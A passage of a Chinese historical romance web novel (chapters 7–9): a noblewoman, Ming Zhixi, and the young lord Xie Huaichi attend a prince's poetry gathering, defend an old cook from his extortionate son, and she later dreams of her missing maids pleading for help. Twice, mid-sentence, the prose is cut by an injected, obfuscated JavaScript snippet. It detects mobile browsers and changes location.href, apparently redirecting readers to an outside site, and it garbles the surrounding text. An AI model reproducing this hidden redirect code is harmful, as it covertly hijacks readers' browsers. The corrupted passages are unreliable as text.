她说罢,便往用一块白纱做围挡的席位走去坐下,至于谢槐池,在座诸位几乎人人都认识,只是关系好坏,基本上都是坏。 那名长相清秀的男子听罢,便也回礼:“久闻明姑娘芳名,最是知礼懂礼,在下是顾从希,与子晋是同窗,今日见到姑娘可谓是百闻不如一见呐,虽是遮住了半张脸,可怎么不算是犹抱琵琶半遮面呢。” 席位上众人纷纷笑着,都道着是。 而明枝溪只觉得这些人有些轻浮,淡淡答:“顾公子谬赞。” 谢槐池双手紧握,面色阴沉走向一处空席位,嘴欠道:“那我看诸位是,不谈家国青云志,唯逐红颜镜里春。” 众人纷纷神情微顿,一脸鄙夷看向谢槐池,开始交头接耳的私语。 顾从希面色如常,并无恼怒之色,只是走向席位,淡定的端起酒杯走向谢槐池:“谢世子,顾某敬你一杯,在座诸位都是翩翩君子,并无你想想的那般不堪,既然是诗词会,自然想按美景说上一番。” 赵康时走向主位,无措的笑着:“诸位喝酒,喝酒。” “没想到谢世子对于诗词颇有讲究啊,我还以为谢世子只会耍枪弄剑呢。”那名魁梧男子头抬的老高,若不是坐着怕是只能看清他的下巴。 “咳。”赵康时刚喝下去的就,被咳了出来,他着急的拿出帕子擦拭着,众人纷纷望向他。 “酒太烈了,哈哈。”赵康时笑着,擦拭身上的酒水,假装没听见。 谢槐池端起酒,仰起头一尽饮下:“既然都是君子,想必都听过,君子藏器于身,待机而动,我父兄不知为何不愿我在官场间游走,可这也代表不了,我是一字不识的乡野村夫。” 那名魁梧男子听了,嘴角带起轻蔑的笑:“哦?在下王德才,虽是名中带有才字,可听谢世子这么一说,便自知文采不如谢世子,鄙人一介武夫,幸得殿下赏识,早就听闻谢世子武艺超群,不如,我们来比试比试?” 不待谢槐池开口,赵康时见这好好的诗词会,变得剑拔弩张,火药味冲天,连忙开口制止:“诸君!且慢,这是文雅之地,并非比武校场,若是二位有意比试不如待这诗词会结束,上演武场比较?” 谢槐池并未开口,坐着独自喝着酒,眼神时不时看向边上,被纱帘遮挡的明枝溪。 “是,是王某太过激进了,还望殿下恕罪。” 赵康时点点头,大手一挥,一群身穿艳色衣裳的婢女走来,手中捧着文房四宝与一大卷纸张,放在众人面前的长桌上,纷纷退下。 明枝溪观察着四周,很简略的院子,虽说繁花似锦,可十分俗气,还不如自身的雪竹院,再望向男席,方才并无仔细打量,现下看来总计十二人,方才的王德才与顾从希都端坐着,仿佛刚才的事情并未发生过。 谢槐池依旧那副吊儿郎当的模样,手撑着头,忽然间,两人对视一瞬,时间好似停止了般,明枝溪顿时撤回头,吃着面前的菜肴,装很忙。 其余人大多是京中不出名之辈,想来官职也不会多高,甚至家世也没多好。 赵康时看向明枝溪,只见她无所事事的吃着菜,无聊至极,这才悠悠开口:“明姑娘,不知你的文采如何?可否让众人略知一二?” 明枝溪定定起身,微微欠身:“殿下以为小女文采如何,那便是如何。” 她说罢走向长桌,一只手举着团扇遮住面庞,另一只手洋洋洒洒在纸张上写着,笔停,明枝溪缓步走向席位,正襟危坐。 一名婢女捧着纸张走向主位,递给赵康时:“遍野繁华次第开,无边芳色绕亭台,千红争艳迷人眼,一径春风入画来;好诗啊,没想到明姑娘文采出众啊。” 顾从希顺着话题,讪讪的说:“是啊,在下可写不出什么好诗,今日之见,真是受教了。” 拍马屁...明枝溪心中想着,嘴上说的却是:“哪里的话,小女子一介女流,殿下与顾公子若是作诗,应当是比我好上千倍万倍的。” 顾从希瞥了眼谢槐池,只见他正拿着筷子逗着水缸中的金鱼,金鱼一阵逃窜,溅起一阵水花。 “谢世子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567704|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不如你给我们作首词吧,还未曾领略过谢世子文采呢。”顾从希语气有几分别扭,阴恻恻的。 “好啊。”谢槐池一把将筷子丢就水缸,金鱼由缸中猛的跃起,他慢悠悠的走向长桌,拿起笔抵住下巴,一副思考模样。 顾从希见他这模样,嘲讽的笑加深:“谢世子若是不会也不打紧,毕竟人无完人,殿下以为呢?” 赵康时望向正思考着的谢槐池,语气平静:“谢世子若是不会作词,便作诗吧,毕竟...”话音一顿,只见谢槐池已经写上了。 谢槐池不过多搭理,提笔写起,写完后拿起笔便往席位走去,经过顾从希身旁向他挑了挑眉,顾从希神色鄙夷的走上前,满脸不可置信。 依旧是那名婢女上前捧起纸张走向赵康时,他神情微顿,良久才张开口:“满目绽芳华,天地皆花影,万朵迎风肆意开,不与凡枝竞;随性踏香行,心共春风静,身在繁华俗世外,自在逍遥境。” “谢世子才情,当真是世间少有,赵某自愧不如。” 顾从希无可挑剔,没想到他真会,看向谢槐池见他手上把玩着笔:“咳咳,词不错,可作为君子,有一事实在是难堪,这笔是众人一起用的,并不是谢世子你的,你这般拿走了,怕是不妥吧。” 谢槐池抬起头,玩味的笑着:“这笔我用着舒心,殿下可否赠与?” “你若是喜欢便赠送与你了。”赵康时闭着眼长叹一口气。 —————— 日落梢头,霞光为满园花色镀上一层浅金,晚风轻轻拂过,叶声簌簌如语,花瓣便随着风悠悠飘进暮色里。 明枝溪有些饿,席间的菜色都算不上饱腹,多是一两口便没了,她举着团扇走出,朝着正在玉兰树下品酒的三五人,微微欠身:“殿下,天色渐沉,小女还有事,先行一步,祝殿下今夜好雅兴。” 赵康时闻言望来,站起身回礼,忽然见得她发髻上飘落着花瓣伸手想去拂去。 只见一阵黑影,花瓣陡然消失不见,谢槐池站在边上手中紧紧攥着什么,玩味笑着:“淮王殿下,我也有要事,先行一步。” 赵康时眼角不断跳动,许久才有些气愤道:“好,我就不送两位了。” 两人一同向外走去,明枝溪的身影逐渐靠近谢槐池:“你发现什么了?” 谢槐池直直走着:“赵康时与王德才在席间并未过多交流。” 明枝溪收起团扇,悬挂在腰间:“是啊,并且其余人好似不认识王德才,只有寥寥几人前去搭话,还都是些客套话。” “那么请他来的目的是什么呢?”谢槐池拿出一个做工有些粗糙,绣技有些蹩脚的荷包,往里头放了什么。 明枝溪目光被荷包吸引,一脸八卦相:“你喜欢的人送的?” 谢槐池连忙收起放入怀中,动作局促:“不是,幼年伙伴送的。” “你喜欢她?”明枝溪向外走去,小心翼翼的问。 两人并肩走着,走出一段距离,谢槐池才道:“算是吧。” 明枝溪总觉得有些落寞,很快调整过来,俏皮的问:“为什么是算是吧?” 谢槐池目光阴沉,眼眶有些微微泛红,不易察觉:“她不记得我。” “呃,长大了是这样的。”明枝溪觉得周遭气温骤降,“呃,那个,你现在要去干嘛,我打算去吃点东西。” 谢槐池有些疑惑:“你不回去?” 明枝溪向前跑去:“我以前天天待在家中,现下不约束我了,我想把我没做过的事情都做一遍。” 谢槐池朝着她小跑去:“那我陪你吧,反正回府也没事干。” 两人漫步街头,随意找了家店。 那家店看着平平无奇,甚至有些老旧,店家看着有些年长,坐在门外竹椅上抽着旱烟,吞云吐雾,看着行人来来往往,见二人走来,起身恭迎,引着俩人向里走去。 俩人挑了个靠窗的位置,说是窗,其实连窗纸都没有,一片镂空的墙壁,看上去还别有一般风味,外头是一片水池,景观有些枯败。 正想点菜,那名店家才缓缓开口:“我这儿菜肴是固定的,两位还吃吗?” 明枝溪单挑起一只眉,饶有兴趣的望向店家:“那这菜本子是?” 店家捋捋白花花的胡须,面容和善:“哈哈哈,这上头的菜都有,你们两人刚好够吃,可若是要加菜就只能再点一次。” “怪不得没什么人,哪有店家这般做生意的。”谢槐池倒了两杯茶水,修长的手指推过一杯递到明枝溪边上。 那名店家也不恼,只是挂着和蔼的笑容:“那二位?” 明枝溪点点头,目光落在那杯推来的水的手,回过神:“来都来了,这经营方法也是独特。” 她从荷包中取出银子:“这里有二两多点,多的算是打赏,多谢。” 只见那名店家接过银两,一瘸一拐的朝着后厨走去。 谢槐池撑着头看向她,良久道:“换家店就是了,万一不好吃呢。” 明枝溪学着他的样子:“万一好吃呢。” “好吃会没人?” “可不好吃也会有人买账。” 谢槐池手指敲击着桌面:“行,都依你。” 8. 第8章 预告 街上传来吵闹声,两人向门外望去,三名穿着朴素的青年朝里走进。 不待二人反应,他们气势汹汹朝后厨走进,明枝溪顿感不妙,只见领头的那人扯着店家衣领出来,又将店家狠狠地摔倒在地。 “你这做什么?”明枝溪站起望着那名领头青年。 三人好像这才反应过来有客人般,领头人贱兮兮道:“哟,小娘子,我找我这不争气的爹要点钱碍着你了?” 说着他朝着明枝溪走来伸出手,正欲乘机摸把小脸蛋,而这时谢槐池不知从哪掏出一把剑,狠狠地订在桌上。 领头人被吓地收回了手,往后退了几步,又好似反应过来,这是闹市,不会有人蠢到在这儿杀人:“哟,这位小哥方才还真没注意到你。” “不过嘛...我们有些家事要谈,你们请回吧,”领头鼻孔朝天看着二人。 明枝希没有恼怒,心平气淡的问店家:“这真是你儿子?” 店家倒在地上迟迟没有起身,蠕动了一会儿后才道:“是,儿子不争气,成家立业了也没有正经营生,还整日来管我要钱,羞愧,羞愧那。” “那我还是要吃饭,钱都交了,吃不到这饭我去报官抓你。”明枝溪端庄笑着,看不出想什么。 领头人没见过如此不要脸的,一脸凶神恶煞,似乎想将她吓跑:“什么饭还非要在这里吃?没听到有家事处理吗?” 明枝溪没有接茬,完全视若无睹:“店家还愣着做什么,去忙吧。” 那领头一把拉住店家凶恶的看着明枝溪:“你当我不存在?倒是个有趣的小娘子,不如..从了爷吧。” 明枝溪手伸出窗外,一双剑掉落在手中,她收回手,剑尖轻叩水面,泛起一阵阵涟漪。 明枝溪双手握剑,面色如常的朝着领头走去,领头方才调戏的眼神转化成了惊恐,一点点后退,直至撞到墙面,退无可退,明枝溪将两把剑架在那人脖颈处:“要么给我死,要么给我死出去,你们选一个。” 那名店家摇摇头,哀叹:“儿啊,你不吃点苦头是成不了大事的。” 那领头满脸写着不可置信,震惊中喊道:“你个死老头,你们两愣着做什么?给老子把这小娘子轰出去。” 那两名同伙不敢贸然行动,犹豫之刻谢槐池剑尖已经抵住一人脖颈,而另一人被吓地匆匆逃去,甚至不敢回头看一眼。 “嗯?你想要怎样?我现在可以不杀你,这是看在店家的面子上,不过嘛,我可以让人跟着你,你只要干了烧杀打砸的事情,我便让我的部下挑断你的手脚筋脉,让你一辈子当个废人。”明枝溪眼神暗沉,仿佛下一秒就要如此。 那名被挟持的小弟听了,满脸恐慌,连忙跪下磕头:“姑娘放过我吧,我保证我以后不会再干这些坏事了,我一定从善,姑娘,公子,放过小的吧。” “滚。”谢槐池放下剑,收回鞘中。 小弟连滚带爬的跑出去,一眨眼便没影了,而那领头则是嘴硬道:“哼,有种你们就杀了我,你们杀了我官府不会不管的,真当你们是什么世家小姐公子啊?” “就算你们是又如何?不是说...天子犯法与庶民同罪,你们敢吗?” 明枝溪放下剑:“我是不敢,你猜对了,不过嘛...我可以把你提到外头去杀,放心,谁也发现不了,包括你。” “疯子,简直是疯子。”领头人结巴着说,而脚步一点点向外挪去,刚踏出门,一溜烟就跑了。 明枝溪捧腹大笑:“你看他那怂样,还想学山匪那套,简直是笑死我了。” 店家摇摇头,本想跪下行大礼,可谢槐池一把便托住了手:“你去忙吧,我们饿着呢。” 店家看向明枝溪,只见她点点头,这才往后厨缓缓走去。 两人朝着座位走去,明枝溪将剑抛向窗外,一名青衣女子腾空而起,一把拿住剑便消失的无影无踪。 谢槐池没有震惊之色,反倒是好奇:“你用双剑?” 明枝溪坐下,拍了拍手上的灰:“对,我力气小,很难重伤,两把剑就不一样了,配合好,就可以一击致命。” “奇特,奇特。”谢槐池鼓鼓掌,“我这还是第一次见到用双剑的。” “话说你文学出众啊,为什么不去科举?”明枝溪眼珠提溜一转,俏皮问道。 谢槐池深深叹了一口气,眼眸低垂着看面前的茶杯,伸手转了转:“呃,我上头有两位兄长,都死在了前线,我父亲便想着谢家不可无后,他不信任朝廷,怕我为官会出什么乱子。” 气氛有些沉重,明枝溪感受到对方露出了一丝,几乎不可察觉的不甘之意,缓和气氛道:“那就做个九品芝麻官,芝麻在小也是肉。” 只见对方轻轻地发颤着,手捂着脸缓缓发出抽泣声,明枝溪慌了一瞬,刚伸出手便有所察觉,皱着眉大喊:“你笑我!” 对方将手放下,捂住腹部大笑起来,眼角似乎带着些泪水:“哈哈哈,你的好意我心领了,只不过我做官那就要大,我可不想做一个默默无闻的小卒,要做也要做大帅!领兵出征,多帅气...不对,那我还是更希望不打仗。” “百姓安居乐业,国家繁荣昌盛,这样似乎也不错。” 明枝溪挑起一只眉:“好理想,你这个朋友我明枝溪认了。” “来喽。”店家手中拿着一大个托盘,从后厨中一瘸一拐走出来,他将菜挨个放在桌上,嘴里介绍着:“这是拍黄瓜,是前菜,这是莲花鸭签,这是蟹酿橙,这是...” “这么多?”谢槐池看着满满一桌子色泽鲜艳的菜品,“这是我刚点的菜吗?感觉对不上啊。” 店家连忙陪着笑解释:“这莲花鸭签和这蟹酿橙都是我送二位的,多谢二位方才帮小的教训我那不孝子,对了,味道不用担心,一定是好吃的,我以前呐,可是在那樊楼当大厨的。” “樊楼?” 明枝溪以往家里都是不让她到街上乱逛的,几乎都是陪着母亲去庄子里巡查,自然是没听过这些个什么樊楼,就连望风楼也是沈雪晴跟她提起过,她才晓得去。 “是啊,樊楼可是我们京中最顶尖儿的酒楼呐,里头吃顿饭可不便宜,都是有头有脸的大人物。”店家笑着回应,仿佛那段日子化成书卷,在眼前展开。 明枝溪点点头,不禁觉得疑惑:“哦~那你怎的出来单干了?” 谢槐池紧跟着开口道:“是不是因为你这腿?说你干活不利索?” 店家苦涩的笑笑,摇了摇头:“这说来话长啊,那时我只是樊楼里一个角落学艺的,终于是熬走了带我的那厮,算得上是师傅吧,他人挺好的,就是做人呢不行,有些贵客总是上门挑刺,他都挨个怼回去。” “后来掌柜的看不下去,给他辞了,终于轮到我的出头之日了,我本以为,只要够圆滑,他们一定会认可我的菜品,可是啊...当时有位客官,看上去还挺富有的,浑身都是玉石,黄金,他说我做的菜不行。” “我点头哈腰的说一定会改,可是他好像不肯放过我,每时每日都在挑刺,有一日我实在受不了了,没有人希望自己辛辛苦苦做的菜肴被骂的狗屎不如,他恼怒之下,一刀砍伤了我的腿,一走了之,那一刀伤着经脉了,我也便成了跛子。” “樊楼大掌柜看我做人还可以,做菜也可以,便叫我留了下来,只是我做菜的速度慢了许多,贵客都待不住,掌柜的也没办法,招了一个小伙,让我把毕生所学都教给他,教完了我便只是个打杂的,可是我是跛子啊,事事不成。” “我主动请辞,到这街口小店开了这家菜馆子,我知道没有人来,可是我这一生都交代在这了。” 明枝溪悲伤中透着愤怒:“官府不管?这可不是什么街坊领居吵闹的小案件,都见血了。” “这事我听过。”谢槐池扒拉了口菜,眼神泛着光,“那人是一届富商,到公堂上时早就打通了门路,赔了个一百两银子,便让对方不要再追究。” 店家点点头,转过身向后走去:“往事已成追忆,罢了,罢了,不提了,二位慢用,老头子我啊,还要收拾后头的卫生呢。” 明枝溪沉默着吃着眼前的饭菜,心中好似有一颗种子发芽了。 天色暗沉,街上的市集纷纷点起了蜡烛,又是一种热闹形象,俩人跟店家打了声招呼,便往街上走去,沉默,不论周遭再繁华,多吵闹,始终只有沉默。 谢槐池侧过头看向明枝溪,发髻上的荷花发簪在烛光中闪着五彩的光芒:“你再想什么?怎么不说话。” “我在想...世道为何如此不公,有钱有脸面的人,不管是官家还是富商,为什么总是使得百姓过不下去。”明枝溪拽着衣角,“百姓得以谋生明明才是天下之大幸。” “莫要想这些了,有些事情不是你我能改变的,就算改变了,改得了一时,改不了一世。”谢槐池背过手走着。 明枝溪沉沉叹气:“要乱了。” “你看前面。”谢槐池手指了指前方,趁其不备顺手夺过荷包,向前跑去。 明枝溪好似才反应过来,摸了摸腰间,顿时大喊的追上:“谢槐池,你给我站住!” 两人穿梭在闹市中,谢槐池溜的很轻松,如一条鱼一般在人群里穿越,明枝溪反而是时不时撞到个人,频频停下,给对方道歉,这时谢槐池就会站在不远处,笑意盈盈的看着她。 追逐着,明枝溪打眼一瞧,已经到了府门外,而谢槐池则是靠着柱子一脸惬意的吹着晚风,明枝溪气喘吁吁的走上前,扶住柱子,伸出一只手讨要:“给..给我。” 谢槐池灿烂的笑着,将荷包放入对方手中,明枝溪作势要给他一拳,谢槐池稳稳站定,没有要挪步的迹象。 “你,你不走?”明枝想缩回手,又猛的伸出手,假意挥去,“我真打你啊。” 只见对方纹丝不动,谢槐池反而还靠近了些:“任凭打骂。” 明枝溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567705|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些诧异的往后退两步,径直向里府里跑去,直到站在府门外才转过身,小心翼翼的望向他,谢槐池仍站在那,目送明枝溪跑入府内。 不只为何,明枝溪不自觉的举起右手,挥了挥,谢槐池也跟着挥手,随后消失在黑夜中。 明枝溪愣了神,随后狠狠地拍了一下自己的手,朝雪竹院跑去,夜色如黑漆,一路上没几个婢女,石灯发出微弱的光芒。 “青禾明日也该回来了吧,明日不出门了,在家等她吧。”明枝溪呢喃着。 到了院门口,只见里头漆黑一片,明枝溪有些孤寂的朝着里屋走去,婢女都已经下去了,小玉提着灯笼朝着明枝溪走来:“原是姑娘回来啦。” 明枝溪被这光影吓的心跳漏了半拍,大叫一声后拍着胸脯:“小玉啊,你吓死我了,我还以为闹鬼呢。” “对不住姑娘,今晚是我守夜。”小玉瞪大双眼,一副泪眼朦胧的双眼就这样盯着明枝溪。 明枝溪无奈的挥挥手:“你下去吧,不怪你。” 小玉应了声是,便笑着缓缓退下。 明枝溪打开房门,散了发髻,手中荷花簪被月色照耀着,散发出灰白色光芒,照射在墙壁上,明枝溪左右瞧了瞧,看着像是字,可是歪歪扭扭分辨不清,于是脱了外衣便打算睡。 躺在床上,她翻来覆去,索性打开了窗幔,月光拂过面庞,迷迷糊糊间做了个怪梦。 —————— 依旧是那街道,只不过明枝溪已经站在了街道的尽头,尽头是一座院子,她推开门走进去,霎时间灯红通明,破旧的门上贴了五路财神,有些斑驳碎裂。 灯笼里的蜡烛被风吹动着,可明枝溪并没有感受到风,明枝溪壮着胆子朝主屋走去,正想开门,门上缺上了把锁。 明枝溪抬起手,双手中莫名出现了双剑,她一剑砍断了锁,朝里走去,一尊观音像出现在她面前,这尊观音像看着有些老旧,布满了蜘蛛丝,显然是常年无人供奉了。 向边上看去,倒着一堆看不清面容的神仙,有的已经残破不堪了,东碎一块,西碎一块,甚至有的已经化成了粉末,明枝溪好似发现一张信纸,正欲拿起,只见指尖刚触碰到纸张,纸张便化作粉末被风吹散。 明枝溪皱着眉,消失的纸张下藏着三柱未燃尽的香,她抱着试一试的心态捡起,刚插入香灰坛中,那三炷香顿时燃起火焰,自主点燃。 明枝溪想后退,可身体却不听自己使唤,竟然直直跪了下来,磕了三个响头,这时门外院中响起啼哭声,她心下一惊,猛的发现自己能动了,可刚起身,她便看到那个青灰色身影,而边上是墨绿色。 “青禾?绿竹?你们怎么在这?不对我在做梦。”明枝溪反应过来自己正在梦中。 面前两人微微笑着,眼里有着诸多不舍,只见青禾先行开口:“姑娘,我们没有多少时间了,该做的事情我们好像也搞砸了,只能拜托你了,我们在郊外铺子往东边走五里地,有一处小镇子,还请姑娘帮我们。” 明枝溪满脸疑惑,不解的蹙着眉看向她:“什么没时间,就算在梦里也不要乱说啊,你也不怕忌讳。” “主子。”绿竹沉沉开口,“您一定要来找我们,如果可以的话,我们还想和我们的娘亲在一起,拜托姑娘,我们没时间了。” 说罢,不待明枝溪反应,俩人眼角流出血泪,直挺挺的倒在地上,衣裳破烂不堪,明枝溪向前扑去,却发现自己的身体再次不受自己使唤了。 她缓缓的转过身,面对着佛像,跪了下来,一头一头的磕在地上,直到血花四溅,佛像也没有任何反应。 地表开始晃动,明枝溪知道自己要醒来了,身体也再次能动,她抬头对着佛像破口大骂:“你还神呢,什么孤魂野鬼,快走开,莫要再捉弄我了,小心我找那些个高僧给你按摩按摩。” 此话一出,佛像的面容发生了些细微的改变,眼神好似更犀利了些,眼角留下两行血泪,滴落进香炉中,随后挣扎的朝着她扑去,嘴中发出凄厉的惨叫声。 明枝溪连连后退,心中想着,快醒,快醒,要死了,快醒啊! 明枝溪一个扑腾,睁开眼发现自己在地板上,天色还黑着,繁星在空中闪烁,她揉着腰站起,给自己倒了一杯茶水压惊,刚喝了一口,门忽然被打开。 明枝溪被水呛到,一个劲的咳嗽,见到来人是小玉,才稍微放心了些,开口问:“现在几更了?” 小玉羞涩的挠挠头:“四更了,奴婢,奴婢听见动静才赶来,又吓着姑娘了,对不住啊。” 说着便要跪下,明枝溪伸出手挥了挥,示意她不用跪:“再帮我倒一壶水。” 小玉捧着水壶做贼心虚般,佝偻着背,悄悄后退,明枝溪见她这般,假意不耐烦般“啧”了一声,只见她直挺挺的站起,往外跑去。 见她走了,明枝溪才坐到床边,脑中仔细回忆着方才的梦,却怎么也记不起来,只能依稀记得是个噩梦。 9. 第9章 梦是现实的照引 夜色如墨色的江水,月亮则是广阔江水上的一叶轻舟,小玉伴着月色朝着屋内跑去,被门槛绊倒在地,手中的茶壶摔的四分五裂,发出尖锐的声响。 明枝溪见她摔了便上前搀扶,一块碎片冒着冷光在前方静静的躺着,明枝溪赤着脚,摸着黑向前走去,仔细避让着,可还是被微小的碎片深深刺进了脚掌中,一抹红混在水中渐渐晕染开。 “郊外铺子往东边走五里地,镇子,佛庙。”明枝溪不顾疼痛,嘴里呢喃着梦中的所见所闻,小玉手足无措的整理着地上碎屑,猛地闻见一股血腥气,向前看去,只见明枝溪还站在碎片上,陶瓷碎片扎进脚掌,源源不断的往外冒血。 “姑娘!快别愣神了,你在流血。”小雨双手捧着碎片,喊叫声惊动了旁的,正在别院中熟睡的婢女,她们闻声纷纷赶来。 呆滞着的明枝溪被搀扶到了榻边坐着,小玉满脸泪水的帮她擦拭着脚上冒出的鲜血,嘴里还念叨着:“姑娘,你理理我啊,疼傻了吗?都是奴婢的错...” 一众婢女围在门外,胆子稍大些的缓缓走进屋内,拿出方才顺手拿的抹布擦拭着地上的血,嘴里喊道:“都愣着做什么,都这样愣着怎么当差,来一个人去找主母,再找个去请医官,旁的都来搭把手。” 婢女开始忙碌起来,慌忙的跪在地上擦着地板,小玉还是那样哭哭啼啼的跪在一旁哭,明枝溪只觉得头疼,回过思绪看着满屋的婢女有些迷茫,直至脚上传来剧痛。 她低头一看,那陶瓷碎片还扎着呢,血珠一点一滴的往外冒,她蹙着眉,手上一使劲,猛地拔了出来,丢在地上,再伸手夺过小玉攥在手中染红的布,一把摁在脚掌上。 额角冒出细腻的汗珠,明枝溪咬着牙不让自己叫出来,小玉已经完全看呆了,泪水汹涌的流下:“姑娘,你终于活过来了,你吓死我了。” 明枝溪伸手拍了拍小玉的肩膀,面色苍白:“什么叫活过来了,我一直都是活的,对了,青禾有写信给你吗?” 小玉抽噎着回答:“嗯?姑娘怎么问起这个了,她没有写信可能是...太忙了吧。” “你也先别哭了,我没事,应该请了医官吧?青禾她以前也这样吗?还有先别告诉大娘子。”明枝溪一连串提问。 青禾与小玉是同乡,那时遇上一群贼人屠村,小玉一家子正好外出,在外耽搁了几日才回来,自此两人格外亲切。 小玉确实是不哭了,强忍着憋住了,耐心的回答:“方才茉莉去请了,红烟已经去找了主母了,想来已经在来的路上了,青禾以前...我还真有点记不起来,好像没有过吧,都是会写一封信告诉我家乡的近况。” 博英风一脸担忧的拽着睡眼惺忪的医官小跑来,满是急切,那名女医官熟稔的拿出药膏与纱布,还有一杯高度数的酒,她趁着明枝溪愣神将酒倒在伤口上。 明枝溪顿时深吸一口气,这才没让自己叫出声来,紧接着女医官拿出竹片,正当她想将药膏涂抹在伤处,明枝溪却出言制止。 不知怎的,她脑中浮现出了谢槐池赠予的那罐膏药,开口道:“用我的吧,小玉,架子第二层,拿来给医官。” 小玉腿有些发颤,哆哆嗦嗦的跑去拿了膏药递给面前的医官,那名医官打开罐子闻了闻道:“此药膏甚是独特,可否愿意赠送配置药方?” 明枝溪嘴角一抽,恭敬的答:“这膏药是一友所赠,我也不知是何做成,改日定帮您询问。” 女医官露出失望的神情,但还是仔细的将药膏涂抹在伤处,再用纱布缓缓的包扎好。 冰凉的触感再次传来,明枝溪心中想着,这个月真是血光之灾啊... 女医官嘱咐了几句,明枝溪都恭敬点头,直到她走出院门。 夜里的风还是有些冷,吹的明枝溪打了个冷颤,博英风伸出手扶着她向床边走去,明枝溪还是有些意外的,乖乖的一瘸一拐走着,躺在床上,博英风帮她掖了掖被子。 “有什么事情天亮了再说,以后下床仔细些,茶壶都碎了还往前走。”博英风嘴里念叨着。 “知道了,母亲也早些休息吧,辛苦母亲跑一趟。”明枝溪难为情的侧过身,“孩儿这就睡了。” 博英风隐约叹了口气,向着门外望去,婢女挨个站在院外,等待着训斥,不料博英风只是挥挥手:“以后都仔细些,回去睡吧,守夜的守好了,莫要再发生意外了。” 众人暗自松口气,齐齐道了是便都退下了,只留小玉一人有些狼狈的站着,博英风走上前:“今日之事我不怪你,以后当差可要打起精神,去吧。” 小玉听了微微笑着,狠狠的点了头,朝着门廊内跑去,靠着墙坐下,博英风看着小玉点点头,朝着外头走去。 明枝溪见外头没了动静,小声的喊着:“小玉,小玉,你进来一下,我有事情要问你。” 小玉听见窸窸窣窣的声响,便轻推开门向里走去:“姑娘,您找我?” “对,我找你。”明枝溪做贼似得,“你过来些啊,我又不吃了你。” 小玉怯生生的朝着床边走去,距离还是远远的,勉强能听清私语声:“怎么了姑娘?” 明枝溪撑着床,无奈道:“真拿你没办法,你明日一早去找主母,就说我想去外头庄子上住两日,图个清静。” “去庄子做什么?”小玉不解的问,“虽说庄子也不差,可您刚受伤,还需静养,这一路颠簸的,我怕...” 明枝溪反驳道:“我是脚伤了,又不是什么大事,况且我肯定坐马车啊,你也别想太多了,你再去跟车夫嘱咐声。” 小玉点点头:“那奴婢能跟着去吗?有些不放心。” 明枝溪狡黠的笑着:“可以!” —————— 第二日一早,微风中透露着丝丝凉意,泛着小雨,砸落在池塘中发出涟漪,鱼儿露出水面吐着气泡,小玉已经跑去博英风院子里禀报。 当一脸兴奋她回院子准备向明枝溪汇报博英风同意时,推开门只见里头空无一人,床幔随着风摇摆着,小玉连忙朝着正门跑去,远远见着了明枝溪坐在马车里,探出脑袋挥手,生气的原地跺脚。 出了城门,路渐渐不怎么平坦了,马车开始轻微的颠簸着,慢慢远离着京城,人群声也渐渐减弱。 明枝溪面色稍有些红润,可嘴唇依旧惨白,蹙着眉间,不知在想些什么。 晌午,雨渐渐退去,天空还是阴沉的让人喘不过气,一家酒庄出现在视线里,明枝溪叫停了马车,向里走去,店里有一股难以形容的气味,汗味掺杂着酒味与羊膻味。 明枝溪有些反胃,皱着眉快速开口:“来一份麦饼,稍微快点,我赶时间。” 店家点头哈腰的跑了下去,不久便带了一摞精心包装的麦饼过来:“来,这是您要的,四文钱。” 明枝溪难以控制自己的表情,不敢呼吸,随手从荷包中掏出一把钱扔在桌上,拿过麦饼就走,店家也没拦着,只是数了数钱嘿嘿傻笑。 出了门,带着潮润泥土的风扑面而来,明枝溪不自觉放缓了呼吸,上了马车吃着手中的麦饼,出乎意料的合胃口,只是马车颠簸终究是没吃两口。 日头暗沉,没有火烧般的晚霞,更加沉闷了些,明枝溪不知何时靠在窗沿上睡着了,直到车夫走来叫醒了沉睡中的她,这才反应过来,已经到郊外庄子上了。 她有些疲惫的走下马车,脚掌传来剧痛,只得一瘸一拐的走着,庄上管事站在门外,见着人来了,上前搀扶:“哎呦我的姑娘诶,慢些走,这一路上定是累着了吧,里头已经整理干净了。” 明枝溪摇摇头,眼神晦暗:“帮我准备一匹马,我要去边上镇子一趟,切记别告诉我父母,我相信你的刘妈妈。” “是又出了事?”刘妈妈神色担忧,自知拦不住明枝溪,只好嘱咐着,“姑娘可得仔细些,别落下病根才好呐。” “我不确定这次出行是否能平安,但霜珂也在,她已经在门外了,你们叙叙旧吧,也是许久未见了。”明枝溪坐在榻上,扶着疼痛的头,双眼隐约泛着血丝。 刘妈妈听了并未多说,转头便出去了,霜珂是刘妈妈的闺女,早些年闹灾,险些横死,被明枝溪一行人救下,后跟随明枝溪,这处庄子便是明衢赠送给明枝溪的及笄礼,当时凑巧缺了位管事,见刘妈妈有些经验便让她打理了。 门外传来微弱的抽泣声,明枝溪闭上眼,头疼的愈发厉害了,良久刘妈妈走了进来,眼底下泛着红,眼眶中还含着泪水。 她仔细用袖口抹干净脸上的泪痕,平缓了语气,递来两把剑,沉沉道:“姑娘,保重。” 明枝溪点点头,接过双剑,朝着门外走去,一匹毛色乌黑的马站在那儿,甩了甩马尾,明枝溪走近抚摸着它,翻身上马,疾驰而去,带起一阵阵黄沙。 马踏飞燕,正是如此,一轮圆月高高悬在夜空中,伴随着点点繁星,不出一会儿便到了这不出名的镇子上,此时已经四下无人了,只偶尔还会传出狗吠声。 